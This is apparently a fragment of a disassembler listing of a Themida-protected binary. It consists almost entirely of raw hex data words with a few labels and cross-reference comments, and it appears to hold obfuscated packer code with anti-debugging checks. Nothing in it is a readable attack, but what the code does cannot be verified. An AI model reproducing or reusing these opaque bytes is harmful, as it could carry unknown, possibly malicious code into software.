9D316006h, 6451D65h, 0A359589h, 8D610645h dd 484A5B85h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 55832B97h, 938C11E4h, 85894FCFh dd 6452C3Dh, 10890Fh, 0BE90000h, 64000000h, 1341504Eh dd 260CA01Ch, 0D0FF3D08h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0A0C35343h, 2298ED1Dh, 2444037Dh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 99531ECh, 0E906450Eh, 0Bh, 64958B36h, 3CDA0E67h, 896E3C8Dh dd 6A1C2444h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 8C9AC356h, 33A7F752h, 0CB338A56h dd 6E9h, 0C91A0300h, 0C6554051h, 45182985h, 85C70006h dd 6487A28h, 0 dd 78A385C7h, 648h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 8C9503C3h, 6EF63DD7h dd 9D89DB9Eh, 6452631h, 13860Fh, 0EE90000h, 0B9000000h dd 554254A8h, 9E4A08ADh, 0E614759Fh, 14E9DDh, 5F290000h dd 3347BB1h, 5910E73Fh, 0C53C2A4h, 0E7B61DEBh, 6A61B651h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 14042444h dd 45000000h, 895DC355h, 45331D8Dh, 8C206h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3DC35343h, 8359B9F8h dd 51858B83h, 89064523h, 452C4595h, 0A1850906h, 4A06452Ch dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 58C35242h dd 0D26BF9F7h, 51006A04h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 690852Dh, 73D3B8F8h, 0C8F0F1Bh dd 0F000000h, 686h, 41B53100h, 0E9064508h, 6, 924D0AA9h dd 0C203FAF5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 4AC35747h, 451A872Ch, 0E8DF8B60h, 0Ah, 868FE50h dd 0BEDF923Fh, 5E98E06h, 21000000h, 3E517F2Eh, 6A96615Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 5825C355h, 0C8F0FD3h, 0F000000h, 686h, 58D8900h dd 906452Ah, 452FE985h, 6AAD06h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0A0E641C3h, 906ABF6h dd 45305185h, 247C8106h, 24h, 57870F10h, 6A000001h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0B6CDC356h, 13E96957h, 0AF000000h, 0D25539FFh, 703542F4h dd 0D0B85F5Ah, 5B5132FAh, 8D893958h, 6452F55h, 9D236060h dd 645043Dh, 0B188B966h, 97EA8161h, 6139CC03h, 0E870F90h dd 0E9000000h, 9, 6EB782B1h, 0B742AE4Dh, 506050AEh, 0F595752h dd 61585A31h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 7DD9397Bh, 448BF971h, 6A2824h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 90F5ADC3h, 0BE0FB260h, 0D8092BFh, 52505061h, 5E9h, 0ED158500h dd 310FA520h, 11E9h, 0CD718000h, 1AC69C38h, 5FC61BBEh dd 0EA62EE74h, 585A6722h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 0BE1AC69Ch dd 895FC61Bh, 451F8D85h, 5B858D06h, 0F06484Ah, 1887h, 13E900h dd 0CE780000h, 486089D3h, 1A5E24DEh, 71B8566h, 0AFBA1D5h dd 6AD0FF17h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B59DC350h, 45A5D573h, 5AE9FFFFh dd 6AFFFFFCh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 289FC356h, 0DFFEB138h, 6660728Ah dd 0C0C9CA81h, 29B99D8Bh, 8D610645h, 488F6D85h, 5E516006h dd 0E95061FCh, 0Dh, 3F536395h, 0EAEF3437h, 90490A8Dh, 2404899Ah dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0A7C35747h dd 0C203C98Ch, 3C58D89h, 0FF640645h, 35h, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 35616EE3h, 0CD8D29DDh, 8B064530h, 6A2404h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A7A07DC3h dd 10498589h, 860F0645h, 1, 0B58960F9h, 64530F1h, 6098D0Bh dd 64610645h, 2589h, 66600000h, 0B5C1EBFh, 45063D8Dh, 8B606106h dd 452BF595h, 61F88A06h, 8D98858Dh, 6A0648h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 894E0FC3h dd 0D57CA95h, 85892284h, 64506ADh, 60016089h, 42BEBF66h dd 14E9h, 957B0000h, 8ABDB954h, 6A1CFD28h, 3A10F24Dh, 4D1EA6ACh dd 16E961DEh, 1000002h, 4501D98Dh, 0E8DB8B06h, 0 dd 91ED815Dh db 8Dh, 48h, 6 byte_576D0B db 0BCh ; DATA XREF: Themida_:0053E620o dd 12FF9Ch, 169BD83h, 74000645h, 51858B18h, 0C606452Fh dd 858B0000h, 6450649h, 0FF0000C6h, 45011D95h, 0B5FF6006h dd 64874A7h, 74AB858Dh, 8D500648h, 4876A385h, 95FF5006h dd 6453055h, 610CC483h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 15h, 0A9C35747h, 5DB589DEh, 8906450Dh, 4516FD9Dh dd 0A3B58D06h, 0E9064876h, 14h, 0CE31DBD9h, 55DCE44Ah dd 0A5E3D967h, 6DF59743h, 0BE944B4Fh, 0E25BD8Dh, 0B5890645h dd 6450A15h, 0F003E80h, 6084h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0DB9D57DAh dd 94751F35h, 0B5290AB0h, 6451265h, 8D0160A4h, 6451C8Dh dd 2361B503h, 0E9610645h, 0FFFFFFB8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0E9C35343h, 0D58A60F8h, 0B861h dd 0B5890000h, 6450A35h, 1D0D9D89h, 6AAA0645h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 5656C352h, 61552E97h, 6A58501h, 850F0645h, 0Bh, 20CF8160h dd 66639036h, 0B861F98Bh, 7, 0DFB70F60h, 0D985C761h, 106452Ch dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 728EC356h, 0B6D9D31h, 60F90645h dd 880F52h, 58000000h, 11F58589h, 8D610645h, 454E1C8Dh dd 0A9BD8906h, 0FF064500h, 51006AE1h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 6E2C83F4h dd 76BCF434h, 2850F60h, 8B000000h, 9D2961CAh, 6451E59h dd 0C245C8Bh, 0E855h, 815D0000h, 488F77EDh, 0B8838B06h dd 89000000h, 4874A785h, 8A858D06h, 8906488Dh, 0B883h dd 0C0335D00h, 6AF9C3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1A0424h, 55450000h, 838DADC3h, 877BDAD7h, 2B11B501h dd 6A600645h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0BE76C353h, 8DB4ADFh, 8909DC58h dd 0D6858DFCh, 6A064891h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 16042444h, 41000000h, 68F8C351h, 11E932h dd 67D0000h, 2CEF8683h, 25FC003Ah, 0A9422094h, 90EAC9E5h dd 52505250h, 310F5250h, 310F585Ah, 585A6160h, 830F310Fh dd 10h, 0BE9h, 5538BC00h, 3A604BCBh, 8B7A489Ch, 0E950585Ah dd 5, 0CC0BBE0Ah, 6A9014h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0FD4069C3h, 194D8589h dd 85890645h, 6451721h, 35FF64h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 315DC356h dd 28DDB589h, 89640645h, 25h, 858DFC00h, 6489233h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 78C35343h, 35B62B3Ch dd 3D16A50Ch, 0A8E0Fh, 89600000h, 4511759Dh, 615F5006h dd 68C0Fh, 85090000h, 64523B1h, 0FE9h, 0DB9D5700h, 94751F35h dd 343E0AB0h, 6B3E2B84h, 89016089h, 45234195h, 2985C606h dd 4F064518h, 12B5BD29h, 69680645h, 50AC4EB3h, 0E9525052h dd 0Ah, 2CCDBDBAh, 9E531410h, 310FFA26h, 0AE9h, 0EF5BFE00h dd 9585A06Bh, 5A187CBEh, 0E9310F58h, 5, 12F24723h, 81585A05h dd 0C0C12404h, 6A5279h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 89C9B7C3h, 452AF185h, 958D0106h dd 0FF06450Dh, 4509D5B5h, 858DF806h, 64878B6h, 0F8D0FFFCh dd 8DE9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8C0FCA7Ah, 0Dh, 0FDBD0B60h, 0B906451Dh dd 6C4496C1h db 61h byte_577149 db 8Bh, 5Ch, 24h ; DATA XREF: Themida_:0053F8C0o dd 0E8550Ch, 5D000000h, 91E0ED81h, 858B0648h, 6450985h dd 9D58589h, 858B0645h, 6452BE5h, 30B58589h, 858B0645h dd 6451DE1h, 26158589h, 85C60645h, 6451829h, 2885C700h dd 6487Ah, 8D000000h, 48923385h, 0B8838906h, 5D000000h dd 89C3C033h, 4521FD95h db 6, 0FCh word_5771A6 dw 74BCh ; DATA XREF: Themida_:00540A64o dd 290012FFh, 45325595h, 58F6406h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 78C35747h dd 2904C483h, 4528FD8Dh, 188F0F06h, 0E9000000h, 13h, 53FEDDF1h dd 0C2A27EA8h, 0D17EC9F1h, 46A8EB59h, 61A26CEFh, 464934EBh dd 52474D53h, 4B562020h, 20202044h, 4D562020h, 2020204Dh dd 57562020h, 32334E49h, 58562020h, 52444C44h, 2020h, 2 dup(0) dd 76E90000h, 0F000007h, 0C82h, 6880F00h, 0F000000h, 84h dd 8B606000h, 0DE9FEh, 75940000h, 5CA2C87Bh, 6906B3C9h dd 6129CD68h, 92B385C7h, 648h, 820F0000h, 1, 0F8C68BF9h dd 0FD8B70Fh, 1186h, 0CE900h, 0CAED0000h, 51AFB01Fh, 0F2EB7B4Eh dd 0E8C145CEh, 0DE9F910h, 2A000000h, 0F37F800Ah, 74061455h dd 0C4740D47h, 8C8C166h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 4FC35343h, 57875Fh, 89355933h, 4892B785h dd 7E9F906h, 73000000h, 27BD04B8h, 0C166CB68h, 83F808CBh dd 850F40FBh, 0B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 11C35646h, 0AB51A57h, 0DE981h, 8A00000h dd 8A979267h, 2826ACBAh, 0E90D0A69h, 0Ch, 2C72066Ah, 0C9956ECFh dd 0DD5469BAh, 928BBD8Dh, 0E9F80648h, 20Dh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0B3C35343h, 0C0A8E99h dd 0F7DBE790h, 6E860h, 98790000h, 0F0A8E50Eh, 0EE9h, 0A7C73000h dd 3038F183h, 0FB420A7Ch, 5FF9C61Dh, 5840Fh, 71BF0000h dd 617E037Fh, 0BE9h, 0E10FEB00h, 5E8F856h, 0F38263Ch, 0F0DFB83h dd 7B85h, 0BD8DF900h, 6489293h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0D8C35646h, 0B39153BDh, 8B57FC60h dd 0F86158D1h, 170E9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 3CC4BEADh, 5EEE1F7h, 12E91EE2h dd 0DA000000h, 0EBEDEE59h, 638B77Ch, 2D7BB8D0h, 6D95AAECh dd 6E9EFh, 72410000h, 49F4AFADh, 0F01FB83h, 6585h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h dd 0F8115128h, 9BBD8DF9h, 0F064892h, 1589h, 0F850F00h dd 0E9000000h, 0Ah, 3AFE92ECh, 0FD2E4F8Ah, 0DAE960F2h dd 0F8000000h, 188D0Fh, 13E90000h, 39000000h, 0BD960706h dd 793EC9B1h, 96D75FDFh, 1376664Dh, 0FB8379CBh, 5E850F2Ah dd 6A000000h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 6F67C355h, 0D3301596h, 14840Fh dd 0B9600000h, 7D549821h, 7E8h, 429BDC00h, 36BE0F22h, 0BD8D6158h dd 64892A3h, 7810Fh, 860F0000h, 1, 0D2B960FCh, 0F40EA1Dh dd 0E961D3BFh, 55h, 27FB83F9h, 356850Fh, 0F9F80000h, 92ABBD8Dh dd 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h dd 51410000h, 0B78827C3h, 49A11354h, 0FAA617Dh, 188Fh dd 12860F00h, 0E9000000h, 0Dh, 8FF3D9D7h, 86557596h, 0E4CF8259h dd 0BBBD89C3h, 0F8064892h, 6AC88C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 4DC8C357h dd 85901AD8h, 604BB705h, 178F0FF9h, 0E9000000h, 12h, 1E191569h dd 3DD322DEh, 0F0B1329Ah, 5AAC4E48h, 24612F13h, 51006A03h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h dd 0D917DE4Dh, 0AF8F5B3h, 0CF850FC0h, 6A000001h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0DADCC357h, 0A49333D2h, 5880F60h, 66000000h, 6208EF81h dd 61CB8B66h, 990FB58Dh, 6A0648h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 8B0FB6C3h, 7, 1870Fh dd 0FF50000h, 18Bh, 858BF800h, 648998Ah, 14E9h, 15546100h dd 13D06726h, 9F9D737Dh, 24C1087Ah, 6EECD13Bh, 0AE950F4h dd 0C1000000h, 0F1C3406Fh, 6360B78h, 241489B6h, 0CE8B6060h dd 5C9BBAB9h, 64BE613Fh, 615765C7h, 244C010Fh, 56006AFEh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0EE91BC5h, 0B0000000h, 0C5AA3CE9h, 0CF24D5B0h, 7EA1CE56h dd 7E979h, 0C7760000h, 0D42F64DDh, 6A5AC5h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2A2124C3h dd 2D05BBB9h, 0C283F546h, 56006A24h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F87CF98Ah dd 128A0Fh, 830F0000h, 0Ch, 7E9h, 227F700h, 0C1164CFh dd 52C08160h, 0B06C2B16h, 89666122h, 6660FC72h, 8166C68Bh dd 6173AFCEh, 0E910CEC1h, 0Dh, 0AF677B7Ah, 30F16BEEh, 0CF0D58BFh dd 72896699h, 4CDF502h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 6C35343h, 60F2ADC7h, 4B8EE2BBh, 800F615Bh dd 1Ah, 14830Fh, 0FE90000h, 25000000h, 837A10B2h, 116A789Ah dd 40B2F5DAh, 8EE904ACh, 0F000000h, 18Bh, 858BF800h, 648998Ah dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0DFC35040h dd 0D7A1299h, 7289E569h, 6660F965h, 61F8FA8Bh, 990FB58Dh dd 0F600648h, 28Ah, 615E5300h, 0BE9h, 0EB72DF00h, 0EB14288Bh dd 4C559BA5h, 5000858Dh, 0FFFC0648h, 816660D0h, 0E91EFBC3h dd 11h, 0F3A22918h, 4CAC48AEh, 3351DA35h, 3060A158h, 0AE961B4h dd 0DA000000h, 8E58AA11h, 16CFE49Bh, 0B3858967h, 6A064892h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 332C357h, 0E9C2375Dh, 10h, 0FA77D699h, 0B7E3E36Fh dd 0EA73F4C9h, 1CF5E469h, 7E961h, 4C2A0000h, 7B33BADBh dd 0B3858B1Eh, 0E9064892h, 0Ah, 2C8FE935h, 0F37D935Ah dd 60C31CD3h, 0F19C580h, 81h, 0F9606100h, 998ABD83h, 0F000648h dd 5085h, 5E900h, 0F7840000h, 0C7498819h, 48998A85h, 1013F06h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 0AA1ECD27h, 9E9FFh, 0AE670000h, 0E8D98AD4h dd 0F9DD7ECh, 88Bh, 2810F00h, 60000000h, 15E961h, 10E90000h dd 0F000000h, 2290E1C1h, 0B2DFB645h, 1F702072h, 0CDAE4386h dd 20h, 74C00B00h, 0C708D37h, 92BBBD8Bh, 8B90648h, 0A6000000h dd 75492275h, 30488BFAh, 92B79D8Bh, 583B0648h, 8B157F34h dd 4D26BD3h, 18BCA03h, 92B38589h, 4EB0648h, 0C5EB008Bh dd 0B3858B61h, 0CF064892h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 51C35040h, 43063DA7h, 7252E92Eh, 13E9h dd 49FA8100h, 2BF933A0h, 563520DDh, 36D6A6F4h, 0A815DE1Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 9EC35343h dd 0BF5E0385h, 7880Fh, 8B0F0000h, 1, 0E8C08BFCh, 0Bh, 9D6BEA05h dd 0F98C3707h, 66E2D55Eh, 0F2B1E781h, 0C081F558h, 6CC0h dd 9E8h, 0FF369200h, 0EE603FA6h, 7E94696h, 0C5000000h dd 0E14C5818h, 0BE595D35h, 3AF5087Bh, 0ED91EE81h, 8B663AF4h dd 0B3108BDEh, 32C281C8h, 0E9314713h, 8, 0DADFCE2Ch, 0BA3046F3h dd 0D857EA81h, 0EA814101h, 1DEB5B85h, 83FDE781h, 0E95258B2h dd 12h, 902D97ABh, 19A623Eh, 6FF8638Ch dd 0D7F78271h, 8FA5FEh, 0D105CF81h, 0E8817115h, 701F9FBDh dd 13870Fh, 0BE80000h, 0C000000h, 36E154Ch, 50B99139h dd 0CA8B47C2h, 0B9C0815Bh, 0E8701F9Fh, 0Ah, 1E485F9h, 9505B3B6h dd 8A512D3Eh, 81595FC8h, 1EEh, 3D850F00h, 0E8000000h, 13h dd 0D486A664h, 0F303C862h, 4F334E99h, 4D97CBB1h, 0E995915Dh dd 0Bh, 68AF9117h, 21AF0083h, 5F95E0C3h, 1FE9h, 5849C200h dd 0FEE96267h, 0A1F895C7h, 0BA5D6C80h, 0B27F51BBh, 0FF2BE974h dd 0DE1CFFFFh, 77D8E0D0h, 148E9h, 5000h, 5400h, 5800h dd 5C00h, 6000h, 6400h, 6800h, 6C00h, 0B000h, 0B400h, 0B800h dd 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0) dd 577B3500h, 0A050EB00h, 62858D00h, 2906489Bh, 4520798Dh dd 0A2858906h, 8B06489Ch, 450BE9B5h, 6E806h, 0D2170000h dd 0FE4C5F0Eh, 148B0Fh, 0FE90000h, 0FA000000h, 65CD4CE4h dd 0A41DE1E4h, 0CB47D2C6h, 0C65B00DDh, 45182985h, 8B0F5406h dd 6, 1DD9D89h, 0D3810645h, 60831FDEh, 4E8h, 62682900h dd 0FE8EEh, 0FCE30000h, 85B3363Eh, 0AA2891C6h, 0B9E1E59h dd 6850FECh, 0F000000h, 85h, 66505A00h, 448BCB8Bh, 14E90424h dd 0C9000000h, 0FCF4F46Ch, 769D6859h, 50FE88F8h, 8BE7C011h dd 8BB28754h, 8B665000h, 44895FDEh, 0B8600424h, 18F9A80Dh dd 66616060h, 618C66BAh, 0B5FF5861h, 64509D5h, 1559BD29h dd 858D0645h, 64878B6h, 0D0FF5956h, 89CF8B66h, 489CA685h dd 0E95A5206h, 48h, 5B526060h, 5FDB529h, 61610645h dword_577D0C dd 0A2B58B56h, 8906489Ch, 0A2858306h, 406489Ch ; DATA XREF: Themida_:0053F700o ; Themida_:0053FE2Co ... db 5Eh, 0C3h word_577D1E dw 8D60h ; DATA XREF: Themida_:0053FDD0o dd 489B62B5h, 560FEB06h, 36FF006Ah, 9CA695FFh, 835E0648h dd 3E8304C6h, 61EC7500h, 0B58B53C3h, 64512E9h, 0F18B665Fh dd 9DAB858Dh, 0BD890648h, 6453039h, 92DA8166h, 5D858987h dd 0E906451Eh, 0E5h, 0FFEE4D10h, 1F3271DCh, 7A0E0A1Dh dd 33538FDDh, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 2D773D55h, 0D77DD57Fh, 171E577Dh, 2075DF6Dh, 20602060h dd 60E0E020h, 7B68AC20h, 0A1E4A9F7h, 93B2D020h, 9DB7EDA6h dd 0A3F291B9h, 206020ACh, 20602060h, 60E0E020h, 33537520h dd 7D2F0D0Ah, 20602055h, 28602060h, 0F0362BA7h, 0F360D650h dd 96A1EFB6h, 0A7B4E0F7h, 7192B8E3h, 0B9E9B3F4h, 2060F76Dh dd 20602060h, 0F7202060h, 351ADF6Dh, 577DD773h, 5FEDF73Dh dd 335375D5h, 7D2F6D37h, 2D773D55h, 0D77DD57Fh, 0F73D577Dh dd 0D575DF6Dh, 577DD773h, 5FEDF73Dh, 335375D5h, 7D2F6D37h dd 0E0A1E35h, 66C1A800h, 0F2FD54A7h, 7B53D43h, 0D4BE92Ch dd 4E680000h, 0E90648A1h, 0FFFCDEF5h, 48A27468h, 0DEEBE906h dd 4568FFFCh, 0E90648A3h, 0FFFCDEE1h, 48A42968h, 0DED7E906h dd 9368FFFCh, 0E90648A4h, 0FFFCDECDh, 48A58068h, 0DEC3E906h dd 9A68FFFCh, 0E90648A6h, 0FFFCDEB9h, 48A7A168h, 0DEAFE906h dd 7068FFFCh, 0E90648A8h, 0FFFCDEA5h, 48A99468h, 0DE9BE906h dd 9B68FFFCh, 0E90648AAh, 0FFFCDE91h, 0F7751C89h, 9715AE22h dd 2BB15242h, 0C05CEFDEh, 66C68B79h, 0CA38DCE4h, 6052A705h dd 0FFF039A3h, 9A0DDC40h, 921C7DEFh, 0FE30333Ch, 46428F17h dd 7832CDC0h, 0DF833EB1h, 0B5BA1C5Eh, 0D11B591h, 0D61A72F8h dd 5C129A7Bh, 0DA50B064h, 39AC9103h, 5F5C79AAh, 1C997BB3h dd 742AB746h, 168756EEh, 8C023377h, 0EC59071Eh, 0B130DD00h dd 0AD034B12h, 11B619C2h, 0A861F57Eh, 19C08A35h, 0B243E7AAh dd 67C2A23Ch, 20D59BFBh, 674FA33h, 0EA7D6E87h, 0C6F819D4h dd 0FDA12EDAh, 19BFFF7Ch, 0FF0F00Dh, 0A57C22B3h, 0C4159732h dd 0C7036D1h, 11856C5Dh, 86033268h, 0E342E30h, 0B8F617FBh dd 0A21603F1h, 37B44519h, 0E11C21A3h, 521B53EEh, 0B02EA45Fh dd 0BBE2DFCh, 700BFE57h, 88E0B2Ah, 7F23DED1h, 0D28833A6h dd 0A6FC897Bh, 0C7B645Ah, 0BEC717FBh, 96CC7569h, 84172E4Ch dd 7C2DB55h, 0DD822494h, 6517FB0Ch, 12DB9310h, 0BEBFE3A0h dd 0DACCA638h, 85DEC023h, 54Fh, 16CDC037h, 0BFE774Eh, 0AA0B2A70h dd 48D562DBh, 0BD48BB12h, 0F544412Fh, 0A7EF03A5h, 18490FF0h dd 0CEA04530h, 85D926B3h, 0FB5808DBh, 4D1C5E17h, 7BFAA059h dd 0A5055F7h, 0DEC0699Ch, 2BC7h, 625BF500h, 0C0331A8Bh dd 733BB805h, 0F09E495Dh, 0C836F70Fh, 51DE5F03h, 9890430Dh dd 5AC617FAh, 0AD8F1743h, 0F7C8DEBFh, 0FA000000h, 776ACDC0h dd 0CB0F4FCCh, 0B5910AD5h, 0A92DB611h, 0E5AA18F1h, 0F74FF855h dd 1DB7E381h, 7568C199h, 0CA3D94CAh, 0A601301Bh, 0CE4BFF71h dd 8567C5Eh, 2B9E11B6h, 0CA3D0C90h, 56076B3Fh, 0D07DA665h dd 9C581EDBh, 5D783AB0h, 5A0CA2ECh, 0E40FF090h, 66A70D9Fh dd 0A62187D7h, 1A16423Fh, 0EAD881C9h, 592936E8h, 81991E42h dd 4259402Fh, 0F673801Eh, 0B826F369h, 853D3313h, 0F830713Ch dd 0A48DEh, 6A218E00h, 0AB327F2h, 0B6574792h, 51F4E336h dd 0FB907ECBh, 3DD7EF61h, 57A23ACFh, 0F544D865h, 12E74504h dd 178E49Fh, 32382799h, 7F8817FEh, 0DD115559h, 0B591F4FBh dd 15074C11h, 11B5914Ah, 0CE751A88h, 0B58A1FA1h, 55D27938h dd 389A08C1h, 0DD1CEF0Dh, 3913DD39h, 11B5E436h, 31A4798Ah dd 46930996h, 7034A853h, 0F1B33AA9h, 9A3EA788h, 0C27337B4h dd 625B7E4Ch, 0F1259BD3h, 4F0FF09Dh, 4D1C6006h, 52BAF5Ah dd 17FA974Eh, 59010404h, 0DEBFAC4Dh, 0D916h, 1155A400h dd 82AA5548h, 11B591DDh, 0A9564865h, 73C744F5h, 0C69C279Ah dd 35E8816Fh, 0C9746738h, 0AD44C768h, 6E547A20h, 0B611B641h dd 0D524B843h, 461727E2h, 6A22A853h, 723C8D08h, 0F1368A5Ch dd 0EFAF340Fh, 0D6910242h, 49CDE2F3h, 403C99D7h, 0FB22816Eh dd 0B04DBF17h, 99269815h, 2AB734C5h, 0C0FA4E60h, 3B481642h dd 5A3CAA73h, 42D47B64h, 0E58A2C1Eh, 5D1E42D4h, 0DB58AD08h dd 1D0AF841h, 0B0921FAAh, 713D00C2h, 22696FBBh, 0B4000009h dd 0CD1C8047h, 6DBC20D9h, 8950CC7Dh, 24F5771Ah, 0C98B11B6h dd 50F5E3B1h, 0FE8B7DCCh, 9B2A9B6Eh, 3AC53801h, 1A7E7A2h dd 17FE335Eh, 0C0B395E2h, 0CFAF3DD2h, 914A158Bh, 0A0F611B5h dd 0B591610Eh, 1794E111h, 0AC574A83h, 0CDC00230h, 22956C32h dd 84A10567h, 230497D4h, 3E5DD118h, 4F8A1C6h, 85F77Bh dd 33C7F9B1h, 850FF115h, 35541BBDh, 67EC17FBh, 6029371Ah dd 311CC391h, 0B3152594h, 14FEB17Bh, 88EAB0C5h, 54F3E40Dh dd 80CEF3h, 5FDCF828h, 0A212DB1Fh, 67BCBDE1h, 6F8ED479h dd 77C8C5EBh, 0EF741B51h, 700BFEAFh, 0C27B6F3Eh, 9407D24Ch dd 0DB8F42B1h, 0AAF09302h, 0EBD90E8Bh, 74F10026h, 4BC3BA52h dd 1147C376h, 851h, 0EB711885h, 8B11AA1Eh, 2FBD4EBEh, 0C458EBDAh dd 5AC28775h, 0C634E0F8h, 5C4E9B01h, 0FBEC3DAFh, 9609D04Ch dd 961871EBh, 0FE342F30h, 42469317h, 0B0BF1155h, 6E11B591h dd 1162C17Ah, 0B651449Dh, 0BA0B82F0h, 4678BCF0h, 11B59199h dd 856DC29h, 0FF09A1Ah, 9338A677h, 0FA82ECFh, 8D0866C6h dd 37AB723Ch, 5EACC8Eh, 0BD17FA9Bh, 0BAFEA228h, 2046FFF3h dd 1970B011h, 112AB20h, 0AA76A38Dh, 0B53E1641h, 5EC134E5h dd 0CC50DD6Eh, 0ABFF8A7Dh, 0C2AD0347h, 7E1E43A6h, 9A3361F5h dd 854D632Bh, 331C8A4Ah, 0CEC1E8A2h, 4417D8FEh, 6E40248Ch dd 248C4481h, 9C11B4C1h, 94119E29h, 33CEC108h, 61880D6Fh dd 6A8BDF72h, 130BADEDh, 4622C767h, 0C0662797h, 0C91ABD31h dd 0CB8F65E9h, 0B620687Dh, 76Dh, 0D755FCE9h, 77F58E02h dd 0B9132A2h, 0A03CCF3Eh, 46A66B59h, 0AA18FC84h, 40B287E5h dd 0DFD01983h, 7A6DBC20h, 0F23C5DCFh, 0FE3513DCh, 6622AF17h dd 1DF7625Bh, 4F38D35Ah, 0EBCD8D0Ah, 0FFC6EEFh, 0D3746449h dd 47B96E8Fh, 0AC7D3DBAh, 0CB1E8E39h, 3B792DD8h, 457B3382h dd 1639714Dh, 1CB89AEBh, 0C1713D9Eh, 7030F49h, 66530000h dd 0F8EC3DAFh, 9C0CDD4Fh, 39A871EBh, 0D5C31696h, 922AAC30h dd 0ED7F1482h, 8F1DAA1Ch, 22BA49BAh, 0C359E4D7h, 7D6244C6h dd 0C517FE35h, 625B9CB4h, 0F4259BD3h, 0AB0FFC33h, 948058FEh dd 795F9442h, 17FE1A76h, 0B63CB9CAh, 0D39AD421h, 0D11525E0h dd 0FE1AF0FFh, 5A05BB17h, 0E617FE1Ah, 4AD369Dh, 15A6B272h dd 0F56BEF7Fh, 5016B124h, 501AAB62h, 44FD547Eh, 0D991E216h dd 22F9D10h, 9A80CF4Ch, 757A52F4h, 